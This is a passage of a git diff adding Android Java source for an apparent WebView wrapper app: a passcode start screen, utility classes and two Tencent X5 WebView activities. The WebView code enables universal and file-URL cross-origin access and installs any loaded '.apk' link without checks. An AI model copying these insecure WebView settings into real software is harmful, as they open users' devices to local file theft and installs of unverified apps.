this.pages = pages; + } + + public int getTotal() { + return total; + } + + public void setTotal(int total) { + this.total = total; + } +} diff --git a/base_no_music/src/main/java/com/web/base/StartActivity.java b/base_no_music/src/main/java/com/web/base/StartActivity.java new file mode 100644 index 0000000..0361614 --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/StartActivity.java @@ -0,0 +1,219 @@ +package com.web.base; + +import android.content.Intent; +import android.os.Bundle; +import android.os.Handler; +import android.text.TextUtils; +import android.view.View; +import android.view.WindowManager; +import android.widget.Button; +import android.widget.TextView; + +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; + +import java.math.BigDecimal; + +public class StartActivity extends AppCompatActivity implements View.OnClickListener { + + + private StringBuilder currentInput = new StringBuilder(""); + private BigDecimal currentAnswer = new BigDecimal(0); + private boolean hasCount = false; + private Button btn_0, btn_1, btn_2, btn_3, btn_4, btn_5, btn_6, btn_7, btn_8, btn_9, btn_equal; + private TextView password1; + private TextView password2; + private TextView password3; + private TextView password4; + private TextView password5; + private TextView password6; + + @Override + protected void onCreate(Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_start); + + setListener(); + getNetUrl(); + + } + + public void setListener() { + + + password1 = (TextView) findViewById(R.id.password_1); + password2 = (TextView) findViewById(R.id.password_2); + password3 = (TextView) findViewById(R.id.password_3); + password4 = (TextView) findViewById(R.id.password_4); + password5 = (TextView) findViewById(R.id.password_5); + password6 = (TextView) findViewById(R.id.password_6); + + + btn_0 = (Button) findViewById(R.id.btn_0); + btn_0.setOnClickListener(this); + btn_1 = (Button) findViewById(R.id.btn_1); + btn_1.setOnClickListener(this); + btn_2 = (Button) findViewById(R.id.btn_2); + btn_2.setOnClickListener(this); + btn_3 = (Button) findViewById(R.id.btn_3); + btn_3.setOnClickListener(this); + btn_4 = (Button) findViewById(R.id.btn_4); + btn_4.setOnClickListener(this); + btn_5 = (Button) findViewById(R.id.btn_5); + btn_5.setOnClickListener(this); + btn_6 = (Button) findViewById(R.id.btn_6); + btn_6.setOnClickListener(this); + btn_7 = (Button) findViewById(R.id.btn_7); + btn_7.setOnClickListener(this); + btn_8 = (Button) findViewById(R.id.btn_8); + btn_8.setOnClickListener(this); + btn_9 = (Button) findViewById(R.id.btn_9); + btn_9.setOnClickListener(this); + + btn_equal = (Button) findViewById(R.id.btn_equal); + btn_equal.setOnClickListener(this); + } + + String password = ""; + + /** + * 0 正常增加 1 删除 2 更新 + * + * @param string + * @param type + */ + public void addInput(String string, int type) { + if (type == 0) { + if (password.length() < 6) { + password += string; + } + } else if (type == 1) { + password = password.substring(0, password.length() - 1); + } + if (password.length() == 6) { + password6.setText(password.charAt(5) + ""); + toNext(); + } else { + password6.setText(""); + if (password.length() == 5) { + password5.setText(password.charAt(4) + ""); + } else { + password5.setText(""); + if (password.length() == 4) { + password4.setText(password.charAt(3) + ""); + } else { + password4.setText(""); + if (password.length() == 3) { + password3.setText(password.charAt(2) + ""); + } else { + password3.setText(""); + if (password.length() == 2) { + password2.setText(password.charAt(1) + ""); + } else { + password2.setText(""); + if (password.length() == 1) { + password1.setText(password.charAt(0) + ""); + } else { + password1.setText(""); + } + } + } + } + } + } + } + + public void getNetUrl(){ +// Api.getInstance().geUrl(System.currentTimeMillis()) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("获取的文件地址:"+o.url); +// if(!TextUtils.isEmpty(o.url)){ +// MainActivity.saveString(StartActivity.this,"base_url",o.url); +// } +// } +// +// @Override +// public void onError(int code, String msg) { +// +// } +// }); + } + + Handler handler = new Handler(); + + private void toNext() { + MainActivity.saveString(StartActivity.this, "loc_pass", password); + Intent intent = new Intent(StartActivity.this, MainActivity2.class); +// intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + startActivity(intent); + finish(); + + } + + + + @Override + public void onClick(View v) { + switch (v.getId()) { +// case R.id.btn_0: +// addInput("0", 0); +// break; +// case R.id.btn_1: +// addInput("1", 0); +// break; +// case R.id.btn_2: +// addInput("2", 0); +// break; +// case R.id.btn_3: +// addInput("3", 0); +// break; +// case R.id.btn_4: +// addInput("4", 0); +// break; +// case R.id.btn_5: +// addInput("5", 0); +// break; +// case R.id.btn_6: +// addInput("6", 0); +// break; +// case R.id.btn_7: +// addInput("7", 0); +// break; +// case R.id.btn_8: +// addInput("8", 0); +// break; +// case R.id.btn_9: +// addInput("9", 0); +// break; +// +// case R.id.btn_equal: +// deleteInput(); +// break; + } + } + + private void deleteInput() { + if (TextUtils.isEmpty(password)) { + addInput("", 2); + } else { + addInput(password, 1); + } + } + + @Override + protected void onDestroy() { + super.onDestroy(); + } +} \ No newline at end of file diff --git a/base_no_music/src/main/java/com/web/base/StatusLayout.java b/base_no_music/src/main/java/com/web/base/StatusLayout.java new file mode 100644 index 0000000..20a4941 --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/StatusLayout.java @@ -0,0 +1,44 @@ +package com.web.base; + +import android.content.Context; +import android.util.AttributeSet; +import android.view.ViewGroup; +import android.widget.LinearLayout; + +import androidx.annotation.Nullable; + +/** + * Created by kiun_2007 on 2018/3/29. + */ + +public class StatusLayout extends LinearLayout { + public StatusLayout(Context context) { + this(context, null); + } + + public StatusLayout(Context context, @Nullable AttributeSet attrs) { + this(context, attrs, 0); + } + + public StatusLayout(Context context, @Nullable AttributeSet attrs, int defStyleAttr) { + super(context, attrs, defStyleAttr); + } + + private int getStatusBarHeight(Context context) { + int result = 0; + int resourceId = context.getResources().getIdentifier("status_bar_height", "dimen", "android"); + if (resourceId > 0) { + result = context.getResources().getDimensionPixelSize(resourceId); + } + return result; + } + + @Override + protected void onAttachedToWindow() { + ViewGroup.LayoutParams lp = this.getLayoutParams(); + lp.width = -1; + lp.height = getStatusBarHeight(getContext()); + this.setLayoutParams(lp); + super.onAttachedToWindow(); + } +} diff --git a/base_no_music/src/main/java/com/web/base/Utils.java b/base_no_music/src/main/java/com/web/base/Utils.java new file mode 100644 index 0000000..94629dc --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/Utils.java @@ -0,0 +1,65 @@ +package com.web.base; + +import android.annotation.SuppressLint; +import android.content.Context; +import android.content.SharedPreferences; +import android.provider.Settings; + +public class Utils { + + public static boolean isImageUrl(String url) { + String end = url.substring(url.lastIndexOf(".") + 1).toLowerCase(); + String[] images = new String[]{"jpeg", "png", "jpg", "bmp", "webp", "gif"}; + for (String name : images) { + if (end.equals(name)) { + return true; + } + } + return false; + } + + + public static String getUniqueId(Context context) { + + @SuppressLint("HardwareIds") + // ANDROID_ID是设备第一次启动时产生和存储的64bit的一个数,当设备被wipe后该数重置。 + String androidID = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID); +// @SuppressLint("HardwareIds") + // String id = androidID + Build.SERIAL; // +硬件序列号 + return androidID; + +// try { +// return toMD5(id); +// } catch (NoSuchAlgorithmException e) { +// e.printStackTrace(); +// return id; +// } + } + + + /** + * @param @param key 要获取的key + */ + public static String get(Context context, String key, String defaultValue) { + SharedPreferences nameSetting = getConfigShared(context); + return nameSetting.getString(key, defaultValue); + } + + /** + * @param key 要设置的key + */ + public static void set(Context activity, String key, String is) { + SharedPreferences nameSetting = getConfigShared(activity); + SharedPreferences.Editor namePref = nameSetting.edit(); + namePref.putString(key, is); + namePref.commit(); + } + + public static SharedPreferences getConfigShared(Context context) { + + SharedPreferences sharedPreferences = + context.getSharedPreferences("notify_data", Context.MODE_MULTI_PROCESS); + return sharedPreferences; + } + +} diff --git a/base_no_music/src/main/java/com/web/base/WebView2Activity.java b/base_no_music/src/main/java/com/web/base/WebView2Activity.java new file mode 100644 index 0000000..0bf6199 --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/WebView2Activity.java @@ -0,0 +1,328 @@ +package com.web.base; + +import android.content.Intent; +import android.graphics.Bitmap; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.view.View; +import android.view.WindowManager; +import android.widget.FrameLayout; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.Toast; + +import androidx.annotation.Nullable; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; + +import com.king.app.updater.AppUpdater; +import com.tencent.smtt.export.external.interfaces.ConsoleMessage; +import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +import com.tencent.smtt.sdk.ValueCallback; +import com.tencent.smtt.sdk.WebChromeClient; +import com.tencent.smtt.sdk.WebSettings; +import com.tencent.smtt.sdk.WebView; +import com.tencent.smtt.sdk.WebViewClient; + + + +public class WebView2Activity extends AppCompatActivity { + + private String url; + WebView webView; + ImageView show_top_v; + ImageView menu_iv; + private ImageView helpIv; + private LinearLayout showTopLy; + private FrameLayout videoContainer; + private ImageView backIv; + private ProgressBar progressBar; + private View topVvvv; + + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_webview); + findViewById(R.id.back_iv).setOnClickListener(view -> finish()); + url = getIntent().getStringExtra("url"); + initView(); + } + + private ValueCallback mUploadCallbackForHighApi; + + public void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + showTopLy = findViewById(R.id.show_top_ly); + videoContainer = (FrameLayout) findViewById(R.id.videoContainer); + backIv = (ImageView) findViewById(R.id.back_iv); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(false); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(false); + settings.setMediaPlaybackRequiresUserGesture(false); + + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + +// settings.setBuiltInZoomControls(false); // 启用缩放功能 +// settings.setDisplayZoomControls(false); // 隐藏缩放控件 + + + webView.setWebChromeClient(new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) { + + WebView newWebView = new WebView(WebView2Activity.this); + topVvvv.setVisibility(View.VISIBLE); + webView.addView(newWebView); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; + progressBar.setVisibility(View.GONE); + webView.loadUrl(url); + return true; + } + }); + + // WebView newWebView = new WebView(view.getContext()); +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// Intent browserIntent = new Intent(WebViewActivity.this, WebViewActivity.class); +// browserIntent.putExtra("url", url); +// startActivity(browserIntent); +// return true; +// } +// }); +// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; +// transport.setWebView(newWebView); +// resultMsg.sendToTarget(); +// return true; + return true; + } + + + @Override + public void onCloseWindow(WebView window) { + super.onCloseWindow(window); + } + + @Override + public boolean onConsoleMessage(ConsoleMessage consoleMessage) { + LogUtils.d("consolemessage==" + consoleMessage.message()); + return true; + } + + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + } + }); + webView.setWebViewClient(new WebViewClient() { + + + @Override + public void onPageFinished(WebView view, String url) { + super.onPageFinished(view, url); + showTopLy.setVisibility(View.GONE); + progressBar.setVisibility(View.GONE); + topVvvv.setVisibility(View.VISIBLE); + } + + @Override + public void onPageStarted(WebView view, String url, Bitmap favicon) { + super.onPageStarted(view, url, favicon); + progressBar.setVisibility(View.VISIBLE); + topVvvv.setVisibility(View.VISIBLE); + } + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + LogUtils.d("url1111111111==" + url1); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + Toast.makeText(WebView2Activity.this, "下载开始,请稍后...", Toast.LENGTH_SHORT).show(); +// Constants.isUpdate = false; + new AppUpdater(WebView2Activity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + LogUtils.d("url1111111111==2" + url1); + webView.loadUrl(url1); + return true; + } + + } + return false; + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url1) { + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + new AppUpdater(WebView2Activity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return false; + } + + } + + return false; + } + + + }); + + +// webView.setOnTouchListener(new View.OnTouchListener() { +// @Override +// public boolean onTouch(View view, MotionEvent motionEvent) { +// if (motionEvent.getAction() == MotionEvent.ACTION_DOWN) { +// webView.loadUrl("javascript:_IntervalResize(+\" + view + \",false)"); +// return true; +// } else { +// return false; +// } +// } +// }); + +// webView.onWindowFocusChanged(true); +// webView.setOnFocusChangeListener(new View.OnFocusChangeListener() { +// @Override +// public void onFocusChange(View view, boolean b) { +// LogUtils.d("B==" + b); +// view.invalidate(); +// } +// }); + if (url != null) { + webView.loadUrl(url); + } + } + + + @Override + public void onBackPressed() { + if (webView.canGoBack()) {//当webview有多级能返回的时候 + webView.goBack(); + } else {//不能返回了 + WebView2Activity.this.finish(); + } + } + + @Override + protected void onDestroy() { + if (webView != null) { + //加载null内容 + // webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); + //清除历史记录 + // webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + webView.destroy(); + } + super.onDestroy(); + } +} diff --git a/base_no_music/src/main/java/com/web/base/WebViewActivity.java b/base_no_music/src/main/java/com/web/base/WebViewActivity.java new file mode 100644 index 0000000..e8aa8a4 --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/WebViewActivity.java @@ -0,0 +1,451 @@ +package com.web.base; + + +import android.content.Intent; +import android.graphics.Bitmap; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.view.MotionEvent; +import android.view.View; +import android.view.WindowManager; +import android.widget.FrameLayout; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.TextView; +import android.widget.Toast; + +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; + +import com.king.app.updater.AppUpdater; +import com.tencent.smtt.export.external.interfaces.WebResourceError; +import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +import com.tencent.smtt.sdk.ValueCallback; +import com.tencent.smtt.sdk.WebChromeClient; +import com.tencent.smtt.sdk.WebSettings; +import com.tencent.smtt.sdk.WebView; +import com.tencent.smtt.sdk.WebViewClient; + + +public class WebViewActivity extends AppCompatActivity { + + private String url; + WebView webView; + TextView tvErrorMsg; + LinearLayout layoutError; + ImageView show_top_v; + ImageView menu_iv; + private ImageView helpIv; + private LinearLayout showTopLy; + private FrameLayout videoContainer; + private ImageView backIv; + private ProgressBar progressBar; + private View topVvvv; + + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main2); + findViewById(R.id.back_iv).setOnClickListener(view -> finish()); + url = getIntent().getStringExtra("url"); + initView(); + } + + private ValueCallback mUploadCallbackForHighApi; + + public void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + showTopLy = findViewById(R.id.show_top_ly); + tvErrorMsg = findViewById(R.id.errormsg); + layoutError = findViewById(R.id.layoutError); + videoContainer = (FrameLayout) findViewById(R.id.videoContainer); + backIv = (ImageView) findViewById(R.id.back_iv); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(false); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(false); + + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + +// settings.setBuiltInZoomControls(false); // 启用缩放功能 +// settings.setDisplayZoomControls(false); // 隐藏缩放控件 + + + webView.setWebChromeClient(new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) { + + WebView newWebView = new WebView(WebViewActivity.this); + topVvvv.setVisibility(View.VISIBLE); + webView.addView(newWebView); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; + progressBar.setVisibility(View.GONE); + webView.loadUrl(url); + return true; + } + }); + + // WebView newWebView = new WebView(view.getContext()); +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// Intent browserIntent = new Intent(WebViewActivity.this, WebViewActivity.class); +// browserIntent.putExtra("url", url); +// startActivity(browserIntent); +// return true; +// } +// }); +// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; +// transport.setWebView(newWebView); +// resultMsg.sendToTarget(); +// return true; + return true; + } + + + // @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { + LogUtils.i("数据接口:onShowFileChooser"); + mUploadCallbackForHighApi = filePathCallback; + Intent intent = fileChooserParams.createIntent(); + intent.addCategory(Intent.CATEGORY_OPENABLE); + startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); + return true; + } + + // For 3.0+ + protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { + LogUtils.i("数据接口:openFileChooseracceptType"); + openFilerChooser(uploadMsg); + } + + + private void openFilerChooser(ValueCallback uploadMsg) { + LogUtils.i("数据接口:openFileChooser"); + mUploadCallbackForLowApi = uploadMsg; + startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); + } + + + + }); + webView.setWebViewClient(new WebViewClient() { + + + @Override + public void onPageFinished(WebView view, String url) { + super.onPageFinished(view, url); + showTopLy.setVisibility(View.GONE); + progressBar.setVisibility(View.GONE); + topVvvv.setVisibility(View.VISIBLE); + + } + + @Override + public void onPageStarted(WebView view, String url, Bitmap favicon) { + super.onPageStarted(view, url, favicon); + progressBar.setVisibility(View.VISIBLE); + topVvvv.setVisibility(View.VISIBLE); + } + + @Override + public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { + super.onReceivedError(view, request, error); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + int errorCode = error.getErrorCode(); + String errorMessage = error.getDescription().toString(); + String currentUrl = request.getUrl().toString(); + LogUtils.d("onReceivedError2 url==" + url + " errorCode ==" + errorCode); + if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) { + onShowErrorView(errorMessage); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + LogUtils.d("onReceivedError2 url==" + failingUrl + " errorCode ==" + errorCode); + if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) { + onShowErrorView(description); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + LogUtils.d("url1111111111==" + url1); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + Toast.makeText(WebViewActivity.this, "下载开始,请稍后...", Toast.LENGTH_SHORT).show(); +// Constants.isUpdate = false; + new AppUpdater(WebViewActivity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + LogUtils.d("url1111111111==2" + url1); + webView.loadUrl(url1); + return true; + } + + } + return false; + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url1) { + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + new AppUpdater(WebViewActivity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return false; + } + + } + + return false; + } + + + }); + webView.setOnGenericMotionListener(new View.OnGenericMotionListener() { + @Override + public boolean onGenericMotion(View view, MotionEvent motionEvent) { + return false; + } + }); + +// webView.setOnTouchListener(new View.OnTouchListener() { +// @Override +// public boolean onTouch(View view, MotionEvent motionEvent) { +// if (motionEvent.getAction() == MotionEvent.ACTION_DOWN) { +// webView.loadUrl("javascript:_IntervalResize(+\" + view + \",false)"); +// return true; +// } else { +// return false; +// } +// } +// }); + +// webView.onWindowFocusChanged(true); +// webView.setOnFocusChangeListener(new View.OnFocusChangeListener() { +// @Override +// public void onFocusChange(View view, boolean b) { +// LogUtils.d("B==" + b); +// view.invalidate(); +// } +// }); + if (url != null) { + webView.loadUrl(url); + } + } + + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + + private Intent getFilerChooserIntent() { + Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + return intent; + } + + + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private boolean isNetError = false; + + public void onShowErrorView(String errorMsg) { //网络不可用的情况 + topVvvv.setVisibility(View.VISIBLE); + webView.setVisibility(View.GONE); + layoutError.setVisibility(View.VISIBLE); + tvErrorMsg.setText(errorMsg); + showTopLy.setVisibility(View.GONE); + isNetError = true; + + } + + public void onShowNetView() { + topVvvv.setVisibility(View.VISIBLE); + webView.setVisibility(View.VISIBLE); + layoutError.setVisibility(View.GONE); + showTopLy.setVisibility(View.GONE); + isNetError = false; + } + + + @Override + public void onBackPressed() { + if (webView.canGoBack()) {//当webview有多级能返回的时候 + onShowNetView(); + webView.goBack(); + } else {//不能返回了 + WebViewActivity.this.finish(); + } + } + + @Override + protected void onDestroy() { + if (webView != null) { + //加载null内容 + // webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); + //清除历史记录 + // webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + webView.destroy(); + } + super.onDestroy(); + } +} diff --git a/base_no_music/src/main/java/com/web/base/WithDrawListInfo.java b/base_no_music/src/main/java/com/web/base/WithDrawListInfo.java new file mode 100644 index 0000000..b8bd76e --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/WithDrawListInfo.java @@ -0,0 +1,81 @@ +package 